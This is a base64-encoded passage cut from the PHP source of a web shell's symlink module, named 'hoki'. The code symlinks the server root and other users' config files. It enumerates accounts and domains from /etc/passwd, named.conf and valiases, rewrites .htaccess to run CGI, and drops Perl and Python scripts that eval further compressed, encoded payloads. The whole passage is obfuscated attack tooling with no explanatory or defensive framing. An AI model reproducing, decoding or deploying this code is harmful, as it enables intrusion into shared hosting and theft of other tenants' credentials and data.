9kaXIoJHBhcmVudCkpewoJCUBta2RpcigkcGFyZW50LCAwNzU1LCB0cnVlKTsKCX0KfQpmdW5jdGlvbiBob2tpc3ltbGluaygpewpob2tpaGVhZCgpOwpIb2tpTnVtKDksMTApOwpob2tpQ3JlYXRlUGFyZW50Rm9sZGVyKCk7CkBjaGRpcigkR0xPQ
kFMU1snaG9tZV9jd2QnXSAuICIvIiAuIF9fSE9LSV9EQVRBX0ZPTERFUl9fKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGJyPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU3ltbGluayB8PC9kaXY+PGNlbnRlcj48aDM+
PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLG51bGwsXCdzeW1waHBcJykiPnwgU3ltbGluayggcGhwICkgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3N5bWx
pbmtcJyxudWxsLG51bGwsXCdzeW1wZXJsXCcpIj58IFN5bWxpbmsoIHBlcmwgKSB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc3ltbGlua1wnLG51bGwsbnVsbCxcJ3N5bXB5XCcpIj58IFN5bWxpbmsoIHB5dG
hvbiApIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxudWxsLG51bGwsbnVsbCxcJ1N5bUZpbGVcJykiPnwgRmlsZSBTeW1saW5rIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsKaWYoaXNzZ
XQoJF9QT1NUWydob2tpMiddKSYmKCRfUE9TVFsnaG9raTInXT09J3N5bXBlcmwnfHwkX1BPU1RbImhva2kyIl09PSJzeW1weSIpKXsKCSRzeW1wYXRoID0gaG9raU1ha2VQd2QoKTsKCUBta2RpcignY2dpaG9raScsMDc1NSk7CglAY2hkaXIoJ2Nn
aWhva2knKTsKCWhva2ljZ2lodGFjY2VzcygnY2dpJyk7CgkkcGVybCA9ICcjIS91c3IvYmluL3BlcmwgICAtSS91c3IvbG9jYWwvYmFuZG1pbicuIlxuIi4ndXNlIE1JTUU6OkJhc2U2NDt1c2UgQ29tcHJlc3M6OlpsaWI7bXkgJGhva2lfZGF0YT0
iJy5fX0hPS0lfREFUQV9GT0xERVJfXy4nIjtldmFsKENvbXByZXNzOjpabGliOjptZW1HdW56aXAoZGVjb2RlX2Jhc2U2NCgiSDRzSUFBQUFBQUFBLzUwWWUxUFRTUHlyTExGbkVxVjVWQkJzMmdLSDRqbWpjaVBvUDVUcmJMTGJOcEltdWV6MlphbW
YvWDc3U0JxZ29IT1pJZDNOL3Q3dlpjb29pcktVY1p4eTlPRmljUHIrQStyMjBBNWR4SXd6MURqNTh2N2JsWGNkVEphb01XdjVxSXNNUTIxQ3RZNkh5Rko0TmxybFJReGtqTk1zNVRUbFRiN01hUnR4dXVEdW1FK1NmdHBQTzJMUjY0d3BKcjBPajNsQ
2U2Y1pvUVNGUzNUeThld0VYZEtUVHgxWG5YUVlYOElQWGdrU1RVS2pyTUE4enRKMm1xVTBXSGRjZGQ1eEZia3dJMHNVanFJc3lZcXUrY3lUajlrekFpV1cyU0h4REVtVXJwRmpRdUowMVBhOWZCRUVFMXlNNHJRWlpweG5FL1V0ekFwQ2k3YWZMeERC
YkF3U1BodktKNUQwMjdBVDVBTXBHazdpVWRxT1FHZGFCRVBRdmptbjhXak0yMkdXRVBXQnhUOW91L1VhS0JzYmpWbVdVTVF3UWM5Um5NNWlGb2V3LzRrdWxwTWtUbS9RbjB2ME55MlNqZ3VDOTh4Z1RSTkdWOW9ObFdlVUp4bzRHZUlCd1J3N2hodU5
ZckYxaldETnBpR1FIdUNpd0V1MEFzZFpnTy90Tm1hK1p3UGE4VUE0ODQrWlA0VE5CT2RvMVJnSS8vdHJkQ3dBZzRMeWFaRWlTOFVESVB2RGxVQmUyL2FSMy9ZVWczeE9TdHF2TmRWNGFPM29zRmhwR2tMd1lBMEhBSVhvdjhnZ2NVRWpibFFBaGp2T0
p0UmRUUmt0MW00K0RaTTRHb2g0RVlvQVhwTUNDT1dSbStJSkpRNkU3ZEJBejUrakp0SGZaK0FIekNoemY1UG1NY3VUbUlQQTh0ZHkrNjY3aXhydlBuOWJHVy9QVDc5K2V2ZjVjdkRsL1B6U1dOc3E1ZzhBTnM5eXBCQ0QybEt6KzU3RnFXVzR4cTcrY
mpzZ2dXWnVJQWNvS0l0TjhBM2xSV20wUGVBNm8rTGxINHIzdmphaVRxY09RS3F3TlI5R213bHBCTEV2WWd5VmtYOEdqK2RENUFQRFBjZm91T0lVMGtRQWNyS0ZWa0tIWEZEQ2FGelFZZGMwSEpDS1NpZGRIWW5uMmtCSHlQeU9aNWhGUlp6ek5rNW93
UzFqRHRWRFZJNWhuQkpFc2dtT1U4ZHhETnRzSTNQTWVkNTJYUk9Fb0xaam1JaERsbEhlTlFkaGd0TWI4NTdRbm5mU2FubEthRm9UR2xlQ2I5SHk3RXdoK0ljUDFLeHJBem5pR0NJbG1Nb3NWNnh6U0MySEw3ZzQzb2VzK1pXQVlGTlpUM1IyUGhEUTV
VVlBaeHpKQnNEcGZrN0lFUEpmaVJpYUUvbGRmRHFlK2Z2d3lkS2JxTForVmEwYk13SnJYNU9BcGFlV2J6WkxiN1AwRlVRdDFXVEdRRmFvWThGRGZ3cXluRUo2RTArNGp1MGk4MTZDbVRiS2lncW5UREFqMEZKM05HSXZpSklNV29uZUt0YUFJM2hYU0
NWN0liUjVOMkZOS1FjVUJLUWFUV3RYQVNyZUIxSjN6Yktnb25RWEV1ck91ZUo1Y0pmTERCZEttNmM1K0wvZzRKY2Nkc1RHWGlrblFEbURCNnJ5dHFLMjFiQ3p1T0JUbkxncVZiSjVTZ3RXbWZpT0VFOWIxdGRhSHRhY1hqT3I1dktrem9lYVc3UlY0O
E9OU1E5TFhhUWRIdzhSSW1WUkJEdnl1SlJkYnFyMjVXbkw2ZTBidmEwVXErSlhjTFZ5ek5pODRxcDJqMWhNSGZZQzRRb0lWclUxZ2cxbFhVOTFFVUR2aWlJclJMblNvbFhsRm9zMnJBYUFydW1iWmNFTWNYUXpLckpwU3BwNkJsQWpoaDRmMmg3Q1U1
N0ppcXpubS85WnQxODhLR1ZiSytWYkdVVHNhZUN5U242Rkh2UkwwTzBGcml4dThOSjZpVWtMYWwxakllMC96Q0Irb3JFTU1rQ2t5Qkllc1ZjUnRONWNCNmVjVWNTaDN1UGFKT21UY3BSOFVLOTB4a0ZRU01MZG4yamlPaStPZnNEOGh3d0xWcmFCVm0
1UU12QzFKNjA2UjF1Z01kY2hvZXVPcWtBTEpSOWdrWUpyN293bGlqZTZ2VVhsbDFvRnF5TTdHcWpjT2hVMXBaYU13bnVEaWVoVllhQ0dHUUVpdzEwWUF4cFBQcC9HeExKZ0Z1ZVdQTE92OXE1dHJaSWlyTmFxYTlETjROSVdjNHZVTmREazRJZXE2Vk
FaUW16OWEyWGlONUtwMkN2TC9OTm5MMi9ocnlIc1U4ZjNKYjZnc3gwd3JER3FXMUJuWG1rdGV0VzZSaDIwNzNtbGZUUnVOVnlvZG5kUW04VFdhaGFEZGlsVklpV24vV3ZvMU1LS0IwSzYwcGw0cXpORmpGU2lXQnNxcjNSRTZMbE00SXZBa0ZoRURKV
DM5RkJlOXNyR3NpZUxVejNvb2VSQnlFZDNJcjVWQzNCY2kyK2lyUkk5RnN6Q09TMFZ6SlpDYmZoYTRMNXoyMi9XZ3RpcllHZFJCUXh5M0llV3dDMEFsZzFua0VBeDd5SjRqL2hZV3M5R1RUVmJWQ01IWU1BY3czZ2h6M2VSQjc2b2tHMWhuT3I0d2Fs
VXNMeHpXSDJnS1IySkhkQ2pTaEE1LzFxTmhUaFNiUW5MTndGM0wxNitETFNkL1NDZnNyRlZvd0Y2aUs2ckM4TWVPR1ZEcW9xbkxRUjE2andtR2dUa2R1SDhjQXV4QjBJQk5uQW9HNGlyQ2lUOGlrNGloc0wxNUFiNnExV2ZRVUZJNzJCL1g0OTN2b3l
YWitwbUNQZStDM0V6dkpBM3d3L2x6YkNmbnVmaStzdmdFNkVMeXRCWmxpVFpIT3IxUnlESSt1bGJPWHhreFZJQ3lPdWx4blZ5dVBUMDB4TkNMdUZTcnU3a2VRTHRBK1hqWFB6dElRR1JJSGdoZFZrSDJMOXdTbURRL3cxd0hlbEROVS9DQXJ6UkF4WH
ZUTjNPbU9Nb29veVZWM0lJMytGYWFxOG5CVUZCUTZ0cjFPTlR1d3pTbmVwT3VHMnlnclJYazdoVk5oUmRUTXV2NWJBbVU2UzhybFplMUU2VS83RUFILzRINWVIS2ZTc1JBQUE9IikpKTsnOwoJJHB5ID0gJyMhL3Vzci9iaW4vcHl0aG9uJy4iXG5pb
XBvcnQgemxpYiwgYmFzZTY0XG5ob2tpX2RhdGE9JyIuX19IT0tJX0RBVEFfRk9MREVSX18uIidcbiIuJ2V2YWwoY29tcGlsZSh6bGliLmRlY29tcHJlc3MoYmFzZTY0LmI2NGRlY29kZSgiZUp5ZFdOMXo0amdTZnpaL2hkWlRXY09HMkpDNnZRZEMy
TXJOVE82bWFuZm42aWI3bEZBdVlRdndqckZja2dpd1UzTi8rM1hyd3hiZ1pLYk9EMWlXK2x2ZFA3VlE0akRwRVhpS1RjMkZJdG1xVUFzOW9VY3hxK2lpWlAxQmorMHpWcXRKTDZpcGxMMmVKVmZGaHJreGwyNGtEODFRTk12MUx1LzFWaVZmMERLRk1
ia2xZZWkrdDZJMDN4OCtwVy8vK1FIRzk3U1VyS2VjZFVkOElENm1Zdlg4T0o3N2kwYUlWS0pQeXlWTmM2cm9nRnlTTUFGUGNDWUpHeWVRcTFIMUlMYXMxOHZaa3F5WVFoWDltc3NCZUZvc0d5SnJFRXdHZ3FtdHFEeUxOQ0d3SUZXWUY0SmxLaVJja0
Q2WGNVM1ZPaTdrc29BWWhnbFRXVkxSRGN2ampGZkxjRUJvbFpPV0NuZ3QwVE10Q3lxWlRNTEJ3Tk1aSm11K1ljbVhyV1RpYTFKdkYyV1JwV3UxS2NHMUFMakJCQlRIcXVkQzhPb3hmUGZ4N1IrL3ZmLzlJZjNQeDQ4UDRUeVdkVmtvVUJFT1lCczFOe
kFnWDF6ekd2WTQ4TWRPNTRWMENpOWtTQzRJOHNkLzhxTHFJL1ZnU0l5a2dRbmhobjVtc0FNWjMxWnFTSEsrb1VVMUpNZy9KTmt1UjIvV1N0VzQyL2llSkVsNGlWdG1LQWM2bG1hc3cvbjRDejd6RUlOZythSS82VE9WbVNoZ0kybkpCRGkwWXlTamxT
TExBdUpwdU9NNERnY1J1Q2tLV0FpblNrQm1IRXAyR3ltMlYxY1EzMVUxeVZpbG1MaUpabE9WejZaTERwUVpMN200amQ3Y3d6TWFSek5qblhabmNCbE9FeVNhVFJPa1YzbUh5Skl0RlFxa1pDM1k4all5L0dnNnNFZEVRZDR5ZFJ1bGk1SlduNk1UcGF
QUjNmWDF5Q20xSWZHMDBrWnpoN1gzOTQ0Um8zMXU3S2xOYmRVQUxkYUhQR3pLb3ZxYzRMZysySzlZN1pXTkFlemVaWmg4eXdjSUd6elI3SlBoUDdNOVVXSUcyYXFUSmVlcFZlTktibk93TmU2WFlpK0EzVTBGbzNtcXE4ZlZiRkRJRkRKZGJXblpURD
FUMFJBWkRBbE1IUG11WXJwQTdDd1RBbXEwK1hROGovTmVBQVl4YWNmNUF0M01QcGVGVkhiS3EzYk5wWlB6eUJRcjg5eHN0NkJ4TFFnYVRieG1WUWMreE1pc2FiQWdBNE5lNUwxK0ZielNJcHlvVnBhTTBkaE9NRUhDVGltdG1HNDVFRlpqbVpFUkhNW
FpSUDVGMFUyb0RSMHJ6K0Z5OG5wTWJHUVRmeWZQb25PNno5YXExNFBtWERnUG1sWDVXc3c2OTl3UFpTUDl1N2IzeGZpOW1FWW5rWVc0Nmdsa08wbnZRQWVjaEhoNDcvTHdKbmc5NEpic3V4THdaUnNzOXRvU0orOXhIbkVaYzhDY3BRMDZZNU5CRmx6
a0REQmtIRGxnWFVEbHJRU0FiMzZsOFdYeVpxU2ZtdzFnVUZGTlJvUnVGZGNBdmdaTFovODN6UDkwQnBhZHdQeE9wNWg4bmRpQjhSOEF3OThrN1FaTEI1VHdZLzFhOFB5QXVCbnNJZFJqZUM4aDZMZ3pCRTVLdlVQTlhnSUJ2bUlBN2FJMm1VWHpYREF
wN1FyTzZETEJqSGo4QVo4NWlnNEE0bFBGTnJYcHhURER1NkJPVDN2MTcvVkc4RWhHUmJZR0NRSXMwT04rRlAvMHkxOGNEQXY3TUJxRTVFczAxSVpZTEFGeGh0S0s4TXcxOHpIbVFOMGZXM3JXYWd1Z2tsUlJPZnhwRjFvUmRnU3BYQU9RUXhzVzU0dH
dDQTRhYWRpYW9TUG84ekZjbW5iSHNqdS9UM282eHoyd2F0dmFieUlNcDFnTXAxbTkyeFk1dG9SU1VkWHl3V2NLQzRPNDN1bDRXZys3Z2VCRmIvMzVkaG83NENZWlRPczNzVjZESjJCQTMvVElVM0xkSWFkeEFJa2VSL1BlY1ZqMTdIanVwUG5nYTRVZ
DhZL25majZlQ1JvZEwzdDVaNkZvMHFRS0lJYTIrL0Y2anFiL1BCcDFSc2ZUMEhTUlpxSHBmRTJ6NFVMek5YRm5tMThHRnk0UGpNNmY1NjdmQlk4c3VWY29QNXdhN0lteTJwbzBORTAxWktLT2s1RmxSWjBBUHQ0U1RzS0I5NHYyK0puWVRLN3k0K05C
ZzRST2JnQUpMY3M3bUlBUVg4ZmJVcVVZdHFiK082eHh3YTdTNzYxMG5lZVdDOFE1UmllbzFlbFdUc3JkY21taVFwTGZRWDdEZTdMbm1CNG5VZkhsTi9VbFdwVTRhRGZsS2h5Ryt0aHpXS0cvdlh4T29XeXdwcUI0ekw2Ukt3M0g4SnoyaVE0eGtPeHh
OR25ZNTdpUnhvS2phV2R2dmpDSkIzbDNZWlFNcloxZUZJRUk5clJSMlFUa09CNkJ2WTd0blFTYmJmb3VwaFBUaWR5VHkxdm5TSnRKVFdmbmVSZlRHaHFGdko4dm1scDE5TWNuUWF1N0tjQ1gxTGZhUGZUcUNJT3Q2VWF4aVlMZm8zY0JXV3VJNVgvQk
RDOEd2c2hqaDEzTGtwZ2pHZDdZdThEUkRIY2FzQ2pWVlpLbXVsalRGRUV4VFJFTXZMOFR2TTduTGRnSjNjbVZPdFJzUXJCblNmQSsvMVE5VlZNY3pLYjIvQzhVS0huTE1jeUxBN243OWY2T1BMQzczMEM5WHBucXJtZEd2K2kySjJjWkYxUWZIQlZVe
TgzWGFXTFdwNGtSaDZhVHhhcHRiMHdiRWphR1JkTzhlTGF0RkdCT25oZlZhakllMWZzYjIzcGRMYmhTZkdQbVRPTTJHZGQ3UUhPNUJodmZMUFZ6WTd1MjVWSjNiZWM5R2ZZN1Z6dFdyTlpxc3VCbGJpWms4UmViWFA4ZEpJZXR6NUpEaXlocFRuNkVQ
WDh1WklFdDQzK0piWjNJUHc3azN3ZTE1dFUwQWRObmNQVzNaekVldVFjSnU5d1B4WVpjaVNYeExydTZ0b0VDVXdUL3p1aEgzbUprRjdNMTNndE9WcHhrYzMwTkUyd3B6bS9PbW02dGFKYlpvK2lOOFFlcy9ZVCtmTkwrZkhEK1BGVWY5WGt2WVNwbmU
yakw3M2xaOGgwNCtTdUlsRS9WTzMxaDR1S2dDWFJRTEc5Y1E4SThWWGQ1L2dESlpISUpVQXpxbzE3WEJKTUpmL0RqYjZRMlNRYTAvNExEcFlSait0dmttQnliNXBvUU82Y0FJSGVYT295YmVDY0t4ZnB1eGN4bEpaZjQvMkd2cTMxNjdYcDNEQ2ZlWH
dWaGV4RmxYY3YyVGducnAyM1VFTzhtL3IzRFpDRlVUMDByZDNFd0tTdFlEaGVHQytqZmNRMEt4NUppS3dCQy9nZWpCbWtrIikpLFwnPHN0cmluZz5cJyxcJ2V4ZWNcJykpJzsKCSRjZ2luYW1lID0gInN5bXBlcmwuaG9raSI7Cgkkc291cmNlID0gJ
HBlcmw7CgkkbGFuZyA9ICJwZXJsIjsKCWlmKCRfUE9TVFsiaG9raTIiXT09InN5bXB5Iil7CgkJJGNnaW5hbWUgPSAicHlzeW1saW5rLmhva2kiOwoJCSRzb3VyY2UgPSAkcHk7CgkJJGxhbmcgPSAicHl0aG9uIjsKCX0KCUBfX3dyaXRlX2ZpbGUo
JGNnaW5hbWUsJHNvdXJjZSk7CglAY2htb2QoJGNnaW5hbWUsMDc1NSk7CgllY2hvIF9fcHJlKCk7CgkkcmVzb3VyY2UgPSBob2tpRXgoInskbGFuZ30geyRjZ2luYW1lfSB7JHN5bXBhdGh9IixmYWxzZSx0cnVlLHRydWUpOwoJaWYoc3RybGVuKCR
yZXNvdXJjZSkgPT0gMCl7CgkJZWNobyBIb2tpaUZyYW1lQ3JlYXRvcignY2dpaG9raS8nLiRjZ2luYW1lKTsKCX1lbHNlewoJCWVjaG8gJHJlc291cmNlOwoJfQp9CmlmKGlzc2V0KCRfUE9TVFsnaG9raTQnXSkgJiYgJF9QT1NUWydob2tpNCddPT
0nU3ltRmlsZScpewppZihmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKXx8X2hva2lfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7Ckhva2lOdW0oOSwxMCk7CmVjaG8gX19wcmUoKS4nCjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZ
WFkZXIiPnwgU3ltbGluayBGaWxlIEFuZCBEaXJlY3RvcnkgfDwvZGl2PjwvcD48Zm9ybSBvblN1Ym1pdD0iZyhcJ3N5bWxpbmtcJyxudWxsLG51bGwsbnVsbCxudWxsLFwnU3ltRmlsZVwnLHRoaXMuZmlsZS52YWx1ZSx0aGlzLnN5bWZpbGUudmFs
dWUsdGhpcy5zeW1saW5rLnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9InBvc3QiPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgcGxhY2Vob2xkZXI9IkV4YW1wbGUgOiAvaG9tZS91c2VyL3B1YmxpY19odG1sL2NvbmZpZy5waHA
iIHNpemU9IjYwIi8+PGJyIC8+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzeW1maWxlIiBwbGFjZWhvbGRlcj0iRXhhbXBsZSA6IGhva2kudHh0InNpemU9IjYwIi8+CjxwPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIgIiBuYW1lPSJzeW
1saW5rIiAvPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKJHBhdGggPSAkX1BPU1RbJ2hva2k1J107CiRzeW1uYW1lID0gJF9QT1NUWydob2tpNiddOwoka2lzZXJ5b3VuaTU4ID0gJF9QT1NUWydob2tpNyddOwppZigka2lzZXJ5b3VuaTU4KXsKJG5ld
19uYW1lID0gc3RyX3JlcGxhY2UoIi4iLCAiXyIsIGJhc2VuYW1lKCRzeW1uYW1lKSk7CiRyYW5kX2RpciA9ICRuZXdfbmFtZS5yYW5kKDExMSw5OTk5KTsKJHN5bV9kaXIgPSAnaG9raXN5bWxpbmtwaHAvJy4kcmFuZF9kaXIuJy8nOwpAbWtkaXIo
JHN5bV9kaXIsIDA3NzcsIHRydWUpOwpob2tpY2dpaHRhY2Nlc3MoJ3N5bScsICRzeW1fZGlyLCAkc3ltbmFtZSk7Cl9ob2tpX3N5bWxpbmsoIiRwYXRoIiwiJHN5bV9kaXIvJHN5bW5hbWUiKTsKZWNobyBfX3ByZSgpOwplY2hvICc8Y2VudGVyPjx
iPjxmb250IGNvbG9yPSJ3aGl0ZSI+Q2xpY2sgPj4gPC9mb250PjxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSInLl9fSE9LSV9EQVRBX0ZPTERFUl9fLiIvIi4kc3ltX2Rpci4nIiA+PGI+PGZvbnQgc2l6ZT0iNCI+Jy4kc3ltbmFtZS4nPC9mb250Pj
wvYj48L2E+PC9iPjwvY2VudGVyPic7Cn0KfWVsc2V7ZWNobyAiPGNlbnRlcj48cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlsrXSBTeW1saW5rIEZ1bmN0aW9uIERpc2FibGVkI
CE8L2I+PC9mb250PjwvcHJlPjwvY2VudGVyPiI7fQp9CmlmKGlzc2V0KCRfUE9TVFsnaG9raTInXSkgJiYgJF9QT1NUWydob2tpMiddPT0nc3ltcGhwJyl7CiRjYW50X3N5bWxpbmsgPSB0cnVlOwppZihmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsn
KXx8X2hva2lfY2FuX3J1bkNvbW1hbmQoZmFsc2UsZmFsc2UpKXsKQG1rZGlyKCdob2tpc3ltbGluaycsMDc3Nyk7Cmhva2ljZ2lodGFjY2Vzcygnc3ltJywnaG9raXN5bWxpbmsvJyk7Cl9ob2tpX3N5bWxpbmsoJy8nLCdob2tpc3ltbGluay9yb29
0Jyk7CiR0YWJsZV9oZWFkZXIgPSAiPHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48dGFibGUgaWQ9J3RibF9zeW1wcGhwJyBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJyBjbG
Fzcz0nbWFpbicgYm9yZGVyPScxJz48dGQ+PHNwYW4gc3R5bGU9J2NvbG9yOiNGRkZGMDE7Jz48Yj4qPC9zcGFuPjwvYj48L3RkPjx0ZD48c3BhbiBzdHlsZT0nY29sb3I6IzAwQTIyMDsnPjxiPkRvbWFpbnM8L3NwYW4+PC9iPjwvdGQ+PHRkPjxzc
GFuIHN0eWxlPSdjb2xvcjojRkZGRkZGOyc+PGI+VXNlcnM8L3NwYW4+PC9iPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSdjb2xvcjojRkYwMDAwOyc+PGI+c3ltbGluazwvc3Bhbj48L2I+PC90ZD4iOwppZihfaG9raV9maWxlX2V4aXN0cygiL2V0Yy9u
YW1lZC5jb25mIikgJiYgIV9ob2tpX2ZpbGVfZXhpc3RzKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIikgJiYgX2hva2lfZmlsZV9leGlzdHMoIi9ldGMvdmFsaWFzZXMvIikpewplY2hvICI8Y2VudGVyPiI7CiRsaW5lcyA9IGFycmF5KCk7CiR
hbm9ueV9kb21haW5zID0gYXJyYXkoKTsKJGFub255bW91c191c2VycyA9IGFycmF5KCk7CiRmX2JsYWNrID0gYXJyYXkoKTsKJGVycm9yID0gZmFsc2U7CiRhbm9ueW1vdXMgPSBmYWxzZTsKJG1ha2Vwd2QgPSAiL2hvbWUve3VzZXJ9L3B1YmxpY1
9odG1sLyI7CiRkb21haW5zID0gaG9raUdldERvbWFpbnMoKTsKJGxpbmVzID0gJGRvbWFpbnNbImxpbmVzIl07CiRzdGF0ZSA9ICRkb21haW5zWyJzdGF0ZSJdOwokaXNfcG9zaXggPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJ
iYgZnVuY3Rpb25fZXhpc3RzKCJmaWxlb3duZXIiKTsKJGNhbl9ydW5jbWQgPSBfaG9raV9jYW5fcnVuQ29tbWFuZChmYWxzZSxmYWxzZSk7CmlmKCEkaXNfcG9zaXggJiYgISRjYW5fcnVuY21kKXsKCSRhbm9ueW1vdXMgPSB0cnVlOwoJJGFub255
X2RvbWFpbnMgPSAkZG9tYWluc1sibGluZXMiXTsKCSRsaW5lcyA9IF9ob2tpX2ZpbGUoJy9ldGMvcGFzc3dkJyk7Cn0KZWNobyAkdGFibGVfaGVhZGVyOwokY291bnQ9MTsKJHRlbXBsYXRlID0gJzx0cj48dGQ+PHNwYW4gc3R5bGU9ImNvbG9yOiN
GRkZGMDE7Ij57Y291bnR9PC9zcGFuPjwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmxlZnQ7Ij48YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0ie2h0dHB9Ii8+PHNwYW4gc3R5bGU9ImNvbG9yOiMwMEEyMjA7bWFyZ2luLWxlZnQ6MTBweDsiPjxiPn
tkb21haW59PC9iPiA8L2E+PC9zcGFuPjwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmxlZnQ7Ij48c3BhbiBzdHlsZT0iY29sb3I6I0ZGRkZGRjttYXJnaW4tbGVmdDoxMHB4OyI+PGI+e293bmVyfTwvZm9udD48L2I+PC90ZD48dGQ+PGEgaHJlZ
j0iJy5fX0hPS0lfREFUQV9GT0xERVJfXy4nL2hva2lzeW1saW5rL3Jvb3R7c3ltcGF0aH0iIHRhcmdldD0iX2JsYW5rIj48c3BhbiBzdHlsZT0iY29sb3I6I0ZGMDAwMDsiPlN5bWxpbms8L3NwYW4+PC9hPjwvdGQ+PC90cj4nOwpmb3JlYWNoKCRs
aW5lcyBhcyAkbGluZSl7CgkkZG9tYWluID0gIiI7Cgkkb3duZXIgPSAiIjsKCWlmKCRhbm9ueW1vdXMpewoJCSRleHBsb2RlID0gZXhwbG9kZSgiOiIsICRsaW5lKTsKCQkkb3duZXIgPSAkZXhwbG9kZVswXTsKCQkkb3duZXJfbGVuID0gc3RybGV
uKCRvd25lcikgLSAxOwoJCSR1c2VyaWQgPSAkZXhwbG9kZVsyXTsKCQlpZigoaW50KSR1c2VyaWQgPCA1MDApY29udGludWU7CgkJJGRvbWFpbiA9ICJbPz8/Pz9dIjsKCQkkdGVtcF9ibGFjayA9IGFycmF5KCk7CgkJJGZpbmRlZCA9IGZhbHNlOw
oJCWZvcmVhY2goJGFub255X2RvbWFpbnMgYXMgJGFub255KXsKCQkJaWYoJHN0YXRlID09ICJuYW1lZC5jb25mIil7CgkJCQlpZihAc3Ryc3RyKCRhbm9ueSwgJ3pvbmUnKSl7CgkJCQkJcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRhb
m9ueSwgJGRhdGEpOwoJCQkJCSRkb21haW4gPSAkZGF0YVsxXVswXTsKCQkJCX1lbHNlewoJCQkJCWNvbnRpbnVlOwoJCQkJfQoJCQl9ZWxzZWlmKCRzdGF0ZSA9PSAibmFtZWQiIHx8ICRzdGF0ZSA9PSAidmFsaWFzZXMiKXsKCQkJCWlmKCRhbm9u
eSA9PSAiLiIgfHwgJGFub255ID09ICIuLiIpY29udGludWU7CgkJCQlpZigkc3RhdGUgPT0gIm5hbWVkIikkYW5vbnkgPSBydHJpbSgkYW5vbnksICIuZGIiKTsKCQkJCSRkb21haW4gPSAkYW5vbnk7CgkJCX0KCQkJJHN1Yl9kb21haW4gPSBzdHJ
fcmVwbGFjZShhcnJheSgiLSIsIi4iKSwgIiIsICRkb21haW4pOwoJCQlpZihzdWJzdHIoJG93bmVyLCAwLCAkb3duZXJfbGVuKSA9PSBzdWJzdHIoJHN1Yl9kb21haW4sIDAsICRvd25lcl9sZW4pKXsKCQkJCWlmKGluX2FycmF5KCRvd25lci4kZG
9tYWluLCAkdGVtcF9ibGFjaykpY29udGludWU7CgkJCQkkc3ltcGF0aCA9IHN0cl9yZXBsYWNlKCJ7dXNlcn0iLCAkb3duZXIsICRtYWtlcHdkKTsKCQkJCSRodHRwID0gImh0dHA6Ly8iLiRkb21haW47CgkJCQllY2hvIHN0cl9yZXBsYWNlKGFyc
mF5KCJ7Y291bnR9IiwgIntodHRwfSIsICJ7ZG9tYWlufSIsICJ7b3duZXJ9IiwgIntzeW1wYXRofSIpLCBhcnJheSgkY291bnQsICRodHRwLCAkZG9tYWluLCAkb3duZXIsICRzeW1wYXRoKSwgJHRlbXBsYXRlKTsKCQkJCSRjb3VudCsrOwoJCQkJ
JHRlbXBfYmxhY2tbXSA9ICRvd25lci4kZG9tYWluOwoJCQkJJGZpbmRlZCA9IHRydWU7CgkJCX0KCQl9CgkJaWYoISRmaW5kZWQpewoJCQkkYW5vbnltb3VzX3VzZXJzW10gPSAkb3duZXI7CgkJfQoJfWVsc2V7CiAJCWlmKCRzdGF0ZSA9PSAibmF
tZWQuY29uZiIpewoJCQlpZihAc3Ryc3RyKCRsaW5lLCAnem9uZScpKXsKCQkJCXByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkbGluZSwgJGRhdGEpOwoJCQkJJGRvbWFpbiA9ICRkYXRhWzFdWzBdOwoJCQl9ZWxzZXsKCQkJCWNvbnRpbn
VlOwoJCQl9CgkJfWVsc2VpZigkc3RhdGUgPT0gIm5hbWVkIiB8fCAkc3RhdGUgPT0gInZhbGlhc2VzIil7CgkJCWlmKCRsaW5lID09ICIuIiB8fCAkbGluZSA9PSAiLi4iKWNvbnRpbnVlOwoJCQlpZigkc3RhdGUgPT0gIm5hbWVkIikkbGluZSA9I
HJ0cmltKCRsaW5lLCAiLmRiIik7CgkJCSRkb21haW4gPSAkbGluZTsKCQl9CgkJaWYoc3RybGVuKHRyaW0oJGRvbWFpbikpID4gMiAmJiAkc3RhdGUgIT0gInBhc3N3ZCIpewoJCQlpZighX2hva2lfZmlsZV9leGlzdHMoJy9ldGMvdmFsaWFzZXMv
